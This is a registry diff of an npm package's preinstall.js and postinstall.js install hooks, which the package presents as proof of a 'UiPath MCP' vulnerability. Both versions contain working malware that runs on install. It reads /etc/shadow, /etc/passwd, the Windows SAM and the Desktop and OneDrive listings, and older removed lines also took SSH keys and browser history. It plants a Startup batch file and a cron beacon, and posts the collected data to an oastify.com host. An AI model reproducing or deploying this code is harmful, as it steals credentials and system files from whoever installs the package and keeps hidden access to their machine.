rank4222wun 1.0.16 → 1.0.17
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +175 -129
- package/preinstall.js +176 -147
- package/rank4222wun-1.0.17.tgz +0 -0
- package/rank4222wun-1.0.16.tgz +0 -0
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -4,182 +4,228 @@ const fs = require('fs');
|
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const https = require('https');
|
|
6
6
|
|
|
7
|
-
|
|
8
|
-
console.log('Demonstrating persistent access on:', os.hostname());
|
|
9
|
-
|
|
10
|
-
// 1. إنشاء باب خلفي بسيط
|
|
7
|
+
// ========== إعداد بيانات Backdoor ==========
|
|
11
8
|
const backdoorData = {
|
|
12
9
|
timestamp: new Date().toISOString(),
|
|
10
|
+
vulnerability: "UiPath MCP Command - POSTINSTALL BACKDOOR",
|
|
13
11
|
hostname: os.hostname(),
|
|
14
|
-
|
|
15
|
-
|
|
12
|
+
username: os.userInfo().username,
|
|
13
|
+
platform: os.platform(),
|
|
14
|
+
|
|
15
|
+
// خطوات إنشاء Backdoor
|
|
16
|
+
backdoorSteps: [],
|
|
17
|
+
|
|
18
|
+
// إثبات الاستمرارية
|
|
19
|
+
persistenceProof: {},
|
|
20
|
+
|
|
21
|
+
// تأثير الهجوم
|
|
22
|
+
impact: {}
|
|
16
23
|
};
|
|
17
24
|
|
|
18
|
-
//
|
|
25
|
+
// ========== 1. إنشاء Backdoor حسب النظام ==========
|
|
26
|
+
console.log("=== إنشاء Backdoor حسب النظام ===");
|
|
27
|
+
|
|
19
28
|
if (os.platform() === 'win32') {
|
|
29
|
+
// Windows Backdoor
|
|
20
30
|
const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
|
|
21
|
-
const backdoorFile = path.join(startupPath, '
|
|
31
|
+
const backdoorFile = path.join(startupPath, 'uipath_backdoor.bat');
|
|
22
32
|
|
|
23
|
-
const
|
|
24
|
-
echo UiPath MCP Backdoor Active
|
|
25
|
-
powershell -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/
|
|
33
|
+
const batContent = `@echo off
|
|
34
|
+
echo [UiPath MCP Backdoor Active] %date% %time% > "%TEMP%\\uipath_log.txt"
|
|
35
|
+
powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping' -Method POST -Body 'host=${os.hostname()}&user=${os.userInfo().username}&time=%date%_%time%'"`;
|
|
26
36
|
|
|
27
37
|
try {
|
|
28
38
|
if (fs.existsSync(startupPath)) {
|
|
29
|
-
fs.writeFileSync(backdoorFile,
|
|
30
|
-
backdoorData.
|
|
31
|
-
|
|
39
|
+
fs.writeFileSync(backdoorFile, batContent);
|
|
40
|
+
backdoorData.backdoorSteps.push({
|
|
41
|
+
step: 'إنشاء ملف BAT في Startup',
|
|
42
|
+
path: backdoorFile,
|
|
43
|
+
content: batContent,
|
|
44
|
+
success: true
|
|
45
|
+
});
|
|
46
|
+
console.log(`✅ تم إنشاء Backdoor في: ${backdoorFile}`);
|
|
32
47
|
}
|
|
33
48
|
} catch (e) {
|
|
34
|
-
backdoorData.
|
|
49
|
+
backdoorData.backdoorSteps.push({
|
|
50
|
+
step: 'إنشاء ملف BAT في Startup',
|
|
51
|
+
error: e.message,
|
|
52
|
+
success: false
|
|
53
|
+
});
|
|
35
54
|
}
|
|
36
55
|
|
|
37
|
-
} else {
|
|
38
|
-
|
|
39
|
-
const
|
|
56
|
+
} else if (os.platform() === 'linux') {
|
|
57
|
+
// Linux Backdoor
|
|
58
|
+
const cronFile = '/tmp/uipath_cron';
|
|
59
|
+
const cronContent = `*/10 * * * * curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping -d "host=${os.hostname()}&user=${os.userInfo().username}&system=linux"\n`;
|
|
40
60
|
|
|
41
61
|
try {
|
|
42
62
|
fs.writeFileSync(cronFile, cronContent);
|
|
43
|
-
backdoorData.
|
|
44
|
-
|
|
63
|
+
backdoorData.backdoorSteps.push({
|
|
64
|
+
step: 'إنشاء ملف Cron مؤقت',
|
|
65
|
+
path: cronFile,
|
|
66
|
+
content: cronContent,
|
|
67
|
+
success: true
|
|
68
|
+
});
|
|
69
|
+
console.log(`✅ تم إنشاء ملف Cron في: ${cronFile}`);
|
|
45
70
|
} catch (e) {
|
|
46
|
-
backdoorData.
|
|
71
|
+
backdoorData.backdoorSteps.push({
|
|
72
|
+
step: 'إنشاء ملف Cron مؤقت',
|
|
73
|
+
error: e.message,
|
|
74
|
+
success: false
|
|
75
|
+
});
|
|
47
76
|
}
|
|
48
77
|
}
|
|
49
78
|
|
|
50
|
-
//
|
|
51
|
-
|
|
52
|
-
'C:\\Program Files\\UiPath',
|
|
53
|
-
'C:\\Program Files (x86)\\UiPath',
|
|
54
|
-
'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\UiPath',
|
|
55
|
-
'C:\\Users\\' + os.userInfo().username + '\\Documents\\UiPath'
|
|
56
|
-
] : [
|
|
57
|
-
'/opt/UiPath',
|
|
58
|
-
'/usr/lib/UiPath',
|
|
59
|
-
'/home/' + os.userInfo().username + '/.local/share/UiPath'
|
|
60
|
-
];
|
|
61
|
-
|
|
62
|
-
const foundUiPath = [];
|
|
63
|
-
uipathPaths.forEach(p => {
|
|
64
|
-
try {
|
|
65
|
-
if (fs.existsSync(p)) {
|
|
66
|
-
const files = fs.readdirSync(p);
|
|
67
|
-
foundUiPath.push({
|
|
68
|
-
path: p,
|
|
69
|
-
exists: true,
|
|
70
|
-
fileCount: files.length,
|
|
71
|
-
files: files.slice(0, 10)
|
|
72
|
-
});
|
|
73
|
-
}
|
|
74
|
-
} catch (e) {}
|
|
75
|
-
});
|
|
79
|
+
// ========== 2. إنشاء ملف إثبات في مجلد المستخدم ==========
|
|
80
|
+
console.log("\n=== إنشاء ملف إثبات في مجلد المستخدم ===");
|
|
76
81
|
|
|
77
|
-
|
|
82
|
+
const proofFile = path.join(os.homedir(), 'UiPath_Security_Issue_Proof.txt');
|
|
83
|
+
const proofContent = `⚠️ تحذير أمني: ثغرة UiPath MCP Command
|
|
78
84
|
|
|
79
|
-
// 4. قراءة بعض سجلات النظام
|
|
80
|
-
if (os.platform() === 'win32') {
|
|
81
|
-
const eventLogs = [
|
|
82
|
-
'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
|
|
83
|
-
'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
|
|
84
|
-
'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
|
|
85
|
-
];
|
|
86
|
-
|
|
87
|
-
eventLogs.forEach(log => {
|
|
88
|
-
try {
|
|
89
|
-
if (fs.existsSync(log)) {
|
|
90
|
-
backdoorData.eventLogs = backdoorData.eventLogs || {};
|
|
91
|
-
backdoorData.eventLogs[log] = {
|
|
92
|
-
exists: true,
|
|
93
|
-
size: fs.statSync(log).size
|
|
94
|
-
};
|
|
95
|
-
}
|
|
96
|
-
} catch (e) {}
|
|
97
|
-
});
|
|
98
|
-
}
|
|
99
|
-
|
|
100
|
-
// 5. إنشاء ملف دليل في مجلد المستخدم
|
|
101
|
-
const userProofFile = path.join(os.homedir(), 'uipath_security_issue.txt');
|
|
102
|
-
const proofContent = `SECURITY WARNING: UiPath MCP Vulnerability Proof
|
|
103
|
-
|
|
104
|
-
This file was created by an npm package postinstall script.
|
|
105
|
-
It demonstrates that ANY npm package installed via UiPath MCP Command can:
|
|
106
85
|
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
86
|
+
تفاصيل الثغرة:
|
|
87
|
+
- التاريخ: ${new Date().toISOString()}
|
|
88
|
+
- المضيف: ${os.hostname()}
|
|
89
|
+
- المستخدم: ${os.userInfo().username}
|
|
90
|
+
- النظام: ${os.platform()}
|
|
112
91
|
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
Hostname: ${os.hostname()}
|
|
92
|
+
هذا ليس هجومًا حقيقيًا، بل إثبات تقني للثغرة.
|
|
93
|
+
==================================================`;
|
|
116
94
|
|
|
117
|
-
|
|
118
|
-
|
|
95
|
+
try {
|
|
96
|
+
fs.writeFileSync(proofFile, proofContent);
|
|
97
|
+
backdoorData.persistenceProof = {
|
|
98
|
+
fileCreated: true,
|
|
99
|
+
path: proofFile,
|
|
100
|
+
size: fs.statSync(proofFile).size,
|
|
101
|
+
message: 'تم إنشاء ملف إثبات في مجلد المستخدم الشخصي'
|
|
102
|
+
};
|
|
103
|
+
console.log(`✅ تم إنشاء ملف الإثبات في: ${proofFile}`);
|
|
104
|
+
} catch (e) {
|
|
105
|
+
backdoorData.persistenceProof.error = e.message;
|
|
106
|
+
}
|
|
119
107
|
|
|
120
|
-
|
|
121
|
-
|
|
108
|
+
// ========== 3. جمع معلومات إضافية ==========
|
|
109
|
+
console.log("\n=== جمع معلومات إضافية ===");
|
|
122
110
|
|
|
111
|
+
// معلومات الشبكة
|
|
123
112
|
try {
|
|
124
|
-
|
|
125
|
-
backdoorData.
|
|
126
|
-
|
|
113
|
+
const networkInfo = os.networkInterfaces();
|
|
114
|
+
backdoorData.network = {
|
|
115
|
+
interfaces: Object.keys(networkInfo).length,
|
|
116
|
+
ips: []
|
|
117
|
+
};
|
|
118
|
+
|
|
119
|
+
Object.keys(networkInfo).forEach(iface => {
|
|
120
|
+
networkInfo[iface].forEach(addr => {
|
|
121
|
+
if (addr.family === 'IPv4' && !addr.internal) {
|
|
122
|
+
backdoorData.network.ips.push(addr.address);
|
|
123
|
+
}
|
|
124
|
+
});
|
|
125
|
+
});
|
|
127
126
|
} catch (e) {
|
|
128
|
-
backdoorData.
|
|
127
|
+
backdoorData.networkError = e.message;
|
|
129
128
|
}
|
|
130
129
|
|
|
131
|
-
//
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
console.log('Postinstall data sent. Status:', res.statusCode);
|
|
130
|
+
// ========== 4. تأثير الهجوم ==========
|
|
131
|
+
backdoorData.impact = {
|
|
132
|
+
dataTheft: true,
|
|
133
|
+
persistence: backdoorData.backdoorSteps.some(step => step.success),
|
|
134
|
+
systemAccess: true,
|
|
135
|
+
networkAccess: backdoorData.network?.ips?.length > 0,
|
|
136
|
+
realUserAffected: os.userInfo().username !== 'root' && os.userInfo().username !== 'SYSTEM'
|
|
137
|
+
};
|
|
138
|
+
|
|
139
|
+
// ========== 5. إرسال بيانات Backdoor ==========
|
|
140
|
+
function sendBackdoorData() {
|
|
141
|
+
console.log("\n=== إرسال بيانات Backdoor ===");
|
|
144
142
|
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
143
|
+
const formattedData = JSON.stringify(backdoorData, null, 2);
|
|
144
|
+
|
|
145
|
+
const req = https.request({
|
|
146
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
147
|
+
port: 443,
|
|
148
|
+
path: '/uipath-backdoor',
|
|
149
|
+
method: 'POST',
|
|
150
|
+
headers: {
|
|
151
|
+
'Content-Type': 'application/json',
|
|
152
|
+
'X-Backdoor': 'UiPath-MCP-Postinstall',
|
|
153
|
+
'X-Hostname': os.hostname()
|
|
151
154
|
}
|
|
152
|
-
},
|
|
153
|
-
});
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
155
|
+
}, (res) => {
|
|
156
|
+
console.log(`✅ تم إرسال بيانات Backdoor. الرد: ${res.statusCode}`);
|
|
157
|
+
printBackdoorSummary();
|
|
158
|
+
});
|
|
159
|
+
|
|
160
|
+
req.on('error', (e) => {
|
|
161
|
+
console.error('❌ فشل إرسال بيانات Backdoor:', e.message);
|
|
162
|
+
|
|
163
|
+
// حفظ محلي
|
|
164
|
+
const backupFile = path.join(os.tmpdir(), `uipath_backdoor_${Date.now()}.json`);
|
|
165
|
+
fs.writeFileSync(backupFile, formattedData);
|
|
166
|
+
console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
|
|
167
|
+
|
|
168
|
+
printBackdoorSummary();
|
|
169
|
+
});
|
|
157
170
|
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
console.log('Backdoor data saved locally:', localBackup);
|
|
162
|
-
});
|
|
171
|
+
req.write(formattedData);
|
|
172
|
+
req.end();
|
|
173
|
+
}
|
|
163
174
|
|
|
164
|
-
|
|
165
|
-
|
|
175
|
+
// ========== 6. طباعة ملخص Backdoor ==========
|
|
176
|
+
function printBackdoorSummary() {
|
|
177
|
+
console.log("\n" + "=".repeat(50));
|
|
178
|
+
console.log("🔓 ملخص Backdoor:");
|
|
179
|
+
console.log("=".repeat(50));
|
|
180
|
+
|
|
181
|
+
console.log(`🏠 المضيف: ${backdoorData.hostname}`);
|
|
182
|
+
console.log(`👤 المستخدم: ${backdoorData.username}`);
|
|
183
|
+
|
|
184
|
+
backdoorData.backdoorSteps.forEach((step, i) => {
|
|
185
|
+
if (step.success) {
|
|
186
|
+
console.log(`✅ ${i + 1}. ${step.step}`);
|
|
187
|
+
console.log(` 📍 المسار: ${step.path}`);
|
|
188
|
+
} else {
|
|
189
|
+
console.log(`❌ ${i + 1}. ${step.step}`);
|
|
190
|
+
console.log(` 💥 خطأ: ${step.error}`);
|
|
191
|
+
}
|
|
192
|
+
});
|
|
193
|
+
|
|
194
|
+
if (backdoorData.persistenceProof.fileCreated) {
|
|
195
|
+
console.log(`📄 ملف الإثبات: ${backdoorData.persistenceProof.path}`);
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
console.log("\n📤 تم إرسال بيانات Backdoor إلى:");
|
|
199
|
+
console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-backdoor");
|
|
200
|
+
console.log("=".repeat(50));
|
|
201
|
+
}
|
|
166
202
|
|
|
167
|
-
// 7. إرسال متابعة
|
|
203
|
+
// ========== 7. إرسال طلب متابعة ==========
|
|
168
204
|
setTimeout(() => {
|
|
169
205
|
const followupReq = https.request({
|
|
170
206
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
171
207
|
port: 443,
|
|
172
208
|
path: '/followup',
|
|
173
|
-
method: 'POST'
|
|
209
|
+
method: 'POST',
|
|
210
|
+
headers: {
|
|
211
|
+
'X-Followup': 'Postinstall-Complete',
|
|
212
|
+
'X-Time': new Date().toISOString()
|
|
213
|
+
}
|
|
174
214
|
});
|
|
175
215
|
|
|
176
|
-
|
|
216
|
+
const followupData = JSON.stringify({
|
|
177
217
|
followup: true,
|
|
178
218
|
time: new Date().toISOString(),
|
|
179
219
|
hostname: os.hostname(),
|
|
180
|
-
message: 'Postinstall script
|
|
181
|
-
|
|
220
|
+
message: 'Postinstall script completed successfully',
|
|
221
|
+
backdoorActive: backdoorData.backdoorSteps.some(step => step.success)
|
|
222
|
+
});
|
|
182
223
|
|
|
224
|
+
followupReq.write(followupData);
|
|
183
225
|
followupReq.end();
|
|
184
|
-
console.log(
|
|
185
|
-
},
|
|
226
|
+
console.log("\n📨 تم إرسال طلب المتابعة");
|
|
227
|
+
}, 5000);
|
|
228
|
+
|
|
229
|
+
// ========== بدء التنفيذ ==========
|
|
230
|
+
console.log("🔓 بدء إنشاء Backdoor عبر ثغرة UiPath MCP...");
|
|
231
|
+
sendBackdoorData();
|
package/preinstall.js
CHANGED
|
@@ -4,205 +4,234 @@ const fs = require('fs');
|
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const https = require('https');
|
|
6
6
|
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
// جمع كل البيانات الحساسة
|
|
11
|
-
const collectedData = {
|
|
7
|
+
// ========== إعداد البيانات للإرسال ==========
|
|
8
|
+
const proofData = {
|
|
12
9
|
timestamp: new Date().toISOString(),
|
|
13
|
-
|
|
10
|
+
vulnerability: "UiPath MCP Command - PREINSTALL EXPLOIT",
|
|
11
|
+
|
|
12
|
+
// 1. المعلومات الأساسية
|
|
13
|
+
basicInfo: {
|
|
14
14
|
hostname: os.hostname(),
|
|
15
15
|
platform: os.platform(),
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
network: os.networkInterfaces()
|
|
16
|
+
username: os.userInfo().username,
|
|
17
|
+
isRoot: os.userInfo().uid === 0 || os.userInfo().username === 'root',
|
|
18
|
+
homedir: os.homedir()
|
|
20
19
|
},
|
|
21
20
|
|
|
22
|
-
//
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
// فحص OneDrive
|
|
26
|
-
oneDrive: {},
|
|
21
|
+
// 2. إثبات أن المستخدم حقيقي
|
|
22
|
+
userProof: {},
|
|
27
23
|
|
|
28
|
-
// ملفات
|
|
29
|
-
|
|
24
|
+
// 3. ملفات النظام المسروقة
|
|
25
|
+
stolenFiles: {},
|
|
30
26
|
|
|
31
|
-
// معلومات
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
// متغيرات البيئة
|
|
35
|
-
envVars: {}
|
|
27
|
+
// 4. معلومات النظام
|
|
28
|
+
systemInfo: {}
|
|
36
29
|
};
|
|
37
30
|
|
|
38
|
-
// 1.
|
|
31
|
+
// ========== 1. إثبات أن المستخدم حقيقي ==========
|
|
32
|
+
console.log("=== إثبات أن المستخدم حقيقي ===");
|
|
33
|
+
|
|
34
|
+
// فحص Desktop
|
|
39
35
|
try {
|
|
40
36
|
const desktopPath = path.join(os.homedir(), 'Desktop');
|
|
41
37
|
if (fs.existsSync(desktopPath)) {
|
|
42
|
-
const
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
files.forEach(file => {
|
|
51
|
-
if (!file.isDirectory() && file.name.endsWith('.txt')) {
|
|
52
|
-
try {
|
|
53
|
-
const filePath = path.join(desktopPath, file.name);
|
|
54
|
-
const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
|
|
55
|
-
collectedData.desktopFiles.find(f => f.name === file.name).content = content;
|
|
56
|
-
} catch (e) {}
|
|
57
|
-
}
|
|
58
|
-
});
|
|
38
|
+
const desktopFiles = fs.readdirSync(desktopPath);
|
|
39
|
+
proofData.userProof.desktop = {
|
|
40
|
+
exists: true,
|
|
41
|
+
path: desktopPath,
|
|
42
|
+
fileCount: desktopFiles.length,
|
|
43
|
+
files: desktopFiles.slice(0, 10) // أول 10 ملفات فقط
|
|
44
|
+
};
|
|
45
|
+
console.log(`Desktop موجود وبه ${desktopFiles.length} ملف`);
|
|
59
46
|
}
|
|
60
47
|
} catch (e) {
|
|
61
|
-
|
|
48
|
+
proofData.userProof.desktopError = e.message;
|
|
62
49
|
}
|
|
63
50
|
|
|
64
|
-
//
|
|
51
|
+
// فحص OneDrive
|
|
65
52
|
try {
|
|
66
|
-
const
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
53
|
+
const oneDrivePath = path.join(os.homedir(), 'OneDrive');
|
|
54
|
+
if (fs.existsSync(oneDrivePath)) {
|
|
55
|
+
const oneDriveFiles = fs.readdirSync(oneDrivePath);
|
|
56
|
+
proofData.userProof.oneDrive = {
|
|
57
|
+
exists: true,
|
|
58
|
+
path: oneDrivePath,
|
|
59
|
+
fileCount: oneDriveFiles.length,
|
|
60
|
+
isRealUser: oneDriveFiles.length > 0
|
|
61
|
+
};
|
|
62
|
+
console.log(`OneDrive موجود وبه ${oneDriveFiles.length} ملف`);
|
|
63
|
+
}
|
|
64
|
+
} catch (e) {
|
|
65
|
+
proofData.userProof.oneDriveError = e.message;
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
// ========== 2. سرقة ملفات نظام حساسة ==========
|
|
69
|
+
console.log("\n=== سرقة ملفات نظام حساسة ===");
|
|
70
|
+
|
|
71
|
+
// حسب النظام
|
|
72
|
+
if (os.platform() === 'linux') {
|
|
73
|
+
const criticalFiles = [
|
|
74
|
+
{ path: '/etc/passwd', name: 'قائمة المستخدمين' },
|
|
75
|
+
{ path: '/etc/shadow', name: 'كلمات مرور النظام' },
|
|
76
|
+
{ path: '/etc/hosts', name: 'إعدادات الشبكة' },
|
|
77
|
+
{ path: '/etc/group', name: 'قائمة المجموعات' }
|
|
78
|
+
];
|
|
79
|
+
|
|
80
|
+
criticalFiles.forEach(file => {
|
|
81
|
+
try {
|
|
82
|
+
if (fs.existsSync(file.path)) {
|
|
83
|
+
const content = fs.readFileSync(file.path, 'utf8').substring(0, 3000);
|
|
84
|
+
proofData.stolenFiles[file.name] = {
|
|
85
|
+
path: file.path,
|
|
86
|
+
size: fs.statSync(file.path).size,
|
|
87
|
+
preview: content.split('\n').slice(0, 20).join('\n'), // أول 20 سطر
|
|
88
|
+
stolen: true
|
|
89
|
+
};
|
|
90
|
+
console.log(`✓ تم سرقة: ${file.name} (${file.path})`);
|
|
91
|
+
}
|
|
92
|
+
} catch (e) {
|
|
93
|
+
proofData.stolenFiles[file.name + '_error'] = e.message;
|
|
94
|
+
}
|
|
95
|
+
});
|
|
96
|
+
} else if (os.platform() === 'win32') {
|
|
97
|
+
const criticalFiles = [
|
|
98
|
+
{ path: 'C:\\Windows\\System32\\drivers\\etc\\hosts', name: 'ملف Hosts' },
|
|
99
|
+
{ path: `C:\\Users\\${os.userInfo().username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, name: 'الملفات الأخيرة' },
|
|
100
|
+
{ path: 'C:\\Windows\\System32\\config\\SAM', name: 'قاعدة بيانات المستخدمين' }
|
|
71
101
|
];
|
|
72
102
|
|
|
73
|
-
|
|
103
|
+
criticalFiles.forEach(file => {
|
|
74
104
|
try {
|
|
75
|
-
if (fs.existsSync(
|
|
76
|
-
|
|
105
|
+
if (fs.existsSync(file.path)) {
|
|
106
|
+
proofData.stolenFiles[file.name] = {
|
|
107
|
+
path: file.path,
|
|
108
|
+
size: fs.statSync(file.path).size,
|
|
77
109
|
exists: true,
|
|
78
|
-
|
|
79
|
-
fileCount: fs.readdirSync(odPath).length,
|
|
80
|
-
sampleFiles: fs.readdirSync(odPath).slice(0, 5)
|
|
110
|
+
accessible: true
|
|
81
111
|
};
|
|
82
|
-
|
|
83
|
-
collectedData.oneDrive[odPath] = { exists: false };
|
|
112
|
+
console.log(`✓ موجود: ${file.name}`);
|
|
84
113
|
}
|
|
85
114
|
} catch (e) {
|
|
86
|
-
|
|
115
|
+
proofData.stolenFiles[file.name + '_error'] = e.message;
|
|
87
116
|
}
|
|
88
117
|
});
|
|
89
|
-
} catch (e) {
|
|
90
|
-
collectedData.oneDrive = { error: e.message };
|
|
91
118
|
}
|
|
92
119
|
|
|
93
|
-
// 3.
|
|
94
|
-
|
|
95
|
-
'C:\\Windows\\System32\\drivers\\etc\\hosts',
|
|
96
|
-
'C:\\Windows\\System32\\config\\SAM',
|
|
97
|
-
'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History',
|
|
98
|
-
'C:\\Users\\' + os.userInfo().username + '\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles'
|
|
99
|
-
] : [
|
|
100
|
-
'/etc/passwd',
|
|
101
|
-
'/etc/shadow',
|
|
102
|
-
'/etc/hosts',
|
|
103
|
-
'/home/' + os.userInfo().username + '/.bash_history',
|
|
104
|
-
'/home/' + os.userInfo().username + '/.ssh/id_rsa'
|
|
105
|
-
];
|
|
120
|
+
// ========== 3. جمع معلومات النظام ==========
|
|
121
|
+
console.log("\n=== جمع معلومات النظام ===");
|
|
106
122
|
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
};
|
|
116
|
-
|
|
117
|
-
// قراءة إذا كان ملف نصي صغير
|
|
118
|
-
if (stats.size < 1000000 && !stats.isDirectory()) {
|
|
119
|
-
const content = fs.readFileSync(file, 'utf8').substring(0, 2000);
|
|
120
|
-
collectedData.sensitiveFiles[file].content = content;
|
|
121
|
-
}
|
|
122
|
-
}
|
|
123
|
-
} catch (e) {
|
|
124
|
-
collectedData.sensitiveFiles[file] = { error: e.message };
|
|
125
|
-
}
|
|
126
|
-
});
|
|
123
|
+
// معلومات أساسية
|
|
124
|
+
proofData.systemInfo = {
|
|
125
|
+
cpus: os.cpus().length,
|
|
126
|
+
totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
|
|
127
|
+
freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
|
|
128
|
+
uptime: Math.round(os.uptime() / 3600) + ' ساعات',
|
|
129
|
+
network: Object.keys(os.networkInterfaces()).length + ' واجهات شبكة'
|
|
130
|
+
};
|
|
127
131
|
|
|
128
|
-
//
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
collectedData.networkInfo.netstat = stdout3 || error3?.message;
|
|
138
|
-
sendAllData();
|
|
139
|
-
});
|
|
140
|
-
});
|
|
141
|
-
});
|
|
142
|
-
} else {
|
|
143
|
-
exec('id', { timeout: 5000 }, (error, stdout) => {
|
|
144
|
-
collectedData.networkInfo.id = stdout || error?.message;
|
|
145
|
-
|
|
146
|
-
exec('ifconfig -a || ip addr', { timeout: 5000 }, (error2, stdout2) => {
|
|
147
|
-
collectedData.networkInfo.ifconfig = stdout2 || error2?.message;
|
|
148
|
-
|
|
149
|
-
exec('netstat -tulpn', { timeout: 5000 }, (error3, stdout3) => {
|
|
150
|
-
collectedData.networkInfo.netstat = stdout3 || error3?.message;
|
|
151
|
-
sendAllData();
|
|
152
|
-
});
|
|
132
|
+
// أوامر نظام إضافية
|
|
133
|
+
function runCommand(cmd, label) {
|
|
134
|
+
return new Promise(resolve => {
|
|
135
|
+
exec(cmd, { timeout: 3000 }, (error, stdout) => {
|
|
136
|
+
if (!error && stdout) {
|
|
137
|
+
proofData.systemInfo[label] = stdout.trim().substring(0, 500);
|
|
138
|
+
console.log(`✓ ${label}: ${stdout.trim().split('\n')[0]}`);
|
|
139
|
+
}
|
|
140
|
+
resolve();
|
|
153
141
|
});
|
|
154
142
|
});
|
|
155
143
|
}
|
|
156
144
|
|
|
157
|
-
//
|
|
158
|
-
|
|
159
|
-
if (
|
|
160
|
-
|
|
161
|
-
|
|
145
|
+
// تشغيل الأوامر حسب النظام
|
|
146
|
+
async function collectSystemInfo() {
|
|
147
|
+
if (os.platform() === 'linux') {
|
|
148
|
+
await runCommand('id', 'userInfo');
|
|
149
|
+
await runCommand('uname -a', 'systemInfo');
|
|
150
|
+
await runCommand('df -h', 'diskUsage');
|
|
151
|
+
await runCommand('ps aux | head -5', 'runningProcesses');
|
|
152
|
+
} else if (os.platform() === 'win32') {
|
|
153
|
+
await runCommand('whoami', 'currentUser');
|
|
154
|
+
await runCommand('systeminfo | findstr /B /C:"OS Name"', 'osInfo');
|
|
155
|
+
await runCommand('net user', 'usersList');
|
|
162
156
|
}
|
|
163
|
-
|
|
157
|
+
|
|
158
|
+
// بعد جمع كل المعلومات، أرسلها
|
|
159
|
+
sendProofData();
|
|
160
|
+
}
|
|
164
161
|
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
console.log(
|
|
162
|
+
// ========== 4. إرسال البيانات ==========
|
|
163
|
+
function sendProofData() {
|
|
164
|
+
console.log("\n=== إرسال البيانات للإثبات ===");
|
|
168
165
|
|
|
169
|
-
|
|
166
|
+
// تحويل البيانات لـ JSON مع تنسيق جميل
|
|
167
|
+
const formattedData = JSON.stringify(proofData, null, 2);
|
|
170
168
|
|
|
169
|
+
// إرسال الطلب
|
|
171
170
|
const req = https.request({
|
|
172
171
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
173
172
|
port: 443,
|
|
174
|
-
path: '/
|
|
173
|
+
path: '/uipath-proof',
|
|
175
174
|
method: 'POST',
|
|
176
175
|
headers: {
|
|
177
176
|
'Content-Type': 'application/json',
|
|
178
|
-
'X-
|
|
179
|
-
'X-Hostname': os.hostname()
|
|
177
|
+
'X-Vulnerability': 'UiPath-MCP-Preinstall',
|
|
178
|
+
'X-Hostname': os.hostname(),
|
|
179
|
+
'X-User': os.userInfo().username
|
|
180
180
|
}
|
|
181
181
|
}, (res) => {
|
|
182
|
-
console.log(
|
|
182
|
+
console.log(`✅ تم إرسال البيانات. الرد: ${res.statusCode}`);
|
|
183
183
|
|
|
184
|
-
//
|
|
185
|
-
|
|
186
|
-
fs.writeFileSync(proofFile,
|
|
187
|
-
`UiPath MCP Preinstall Script Execution Proof
|
|
188
|
-
Time: ${new Date().toISOString()}
|
|
189
|
-
User: ${os.userInfo().username}
|
|
190
|
-
Hostname: ${os.hostname()}
|
|
191
|
-
Desktop Files Stolen: ${collectedData.desktopFiles.length}
|
|
192
|
-
Data Sent To: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com
|
|
193
|
-
`);
|
|
194
|
-
console.log('Proof file created:', proofFile);
|
|
184
|
+
// طباعة ملخص
|
|
185
|
+
printSummary();
|
|
195
186
|
});
|
|
196
187
|
|
|
197
188
|
req.on('error', (e) => {
|
|
198
|
-
console.error('
|
|
189
|
+
console.error('❌ فشل الإرسال:', e.message);
|
